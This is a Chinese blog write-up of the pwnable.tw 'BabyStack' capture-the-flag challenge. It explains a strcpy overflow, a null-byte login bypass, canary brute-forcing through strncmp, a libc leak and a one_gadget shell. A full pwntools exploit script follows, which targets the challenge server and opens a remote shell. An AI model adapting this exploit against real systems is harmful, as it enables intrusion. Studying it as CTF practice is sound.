pwnable tw BabyStack writeup

原创

charlie_heng 于 2018-03-02 20:49:37 发布 1363 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79426755

这题做得好难受.....

首先漏洞很明显是strcpy那里，可以strcpy超过0x3f个字符串

然后login，以\x00开头的话，就可以过login了

一开始我是想先泄漏程序的其中一个地址，然后利用stackOverflow 来rop一波的，然后发现，strcpy只能复制到\x00前，所以只能用one_gadget 来一发get shell

但是这里还有canary要过，这里很明显就是利用strncmp来爆破

但是one_gadget还要泄漏libc地址，这里就想了我好久.....

调着调的时候发现调用copy的时候，栈上面很多剩下的libc地址，这样就可以利用strcpy顺带copy到 canary后面，然后用login的strcmp来泄漏出来，最后one_gadget 一发get shell

下面是payload，可能要跑大概10分钟....
ps : 这估计是pwnable tw放的最后一个wp吧.....因为网站上要求不要放高分题目的wp和poc，所以如果想交流交流后面题目的可以留言一下，不过我没做到的估计也回答不了.....

```
from pwn import *

debug=0
e=ELF('./libc.so')
one_offset=0xf0567
if debug:
    p=process('./babystack',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(proc.pidof(p)[0])
else:
    p=remote('chall.pwnable.tw', 10205)
    context.log_level='debug'


def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def login(pwd,log=True):
```

```
def login(pwd,lo=True):
    if lo:
        se('1'+'a'*15)
    else:
        se('1')
    ru('Your passowrd :')
    se(pwd)
    return ru('>> ')

def logout():
    se('1')
    ru('>> ')

def copy(content):
    se('3'+'a'*15)
    ru('Copy :')
    se(content)
    ru('>> ')

def Exit():
    se('2')

def guess(length,secret=''):
    for i in range(length):
        for q in range(1,256):
            if 'Success' in login(secret+chr(q)+'\n',False):
                secret+=chr(q)
                logout()
                break
    return secret

secret=guess(16)

login('\x00'+'a'*0x57)
copy('a'*40)
logout()
base=u64(guess(6,'a'*16+'1'+'a'*7)[24:]+'\x00\x00')-324-e.symbols['setvbuf']

one_gadget=base+one_offset

payload='\x00'+'a'*63+secret+'a'*24+p64(one_gadget)

login(payload)

copy('a'*0x30)

Exit()

print(hex(base))

p.interactive()
```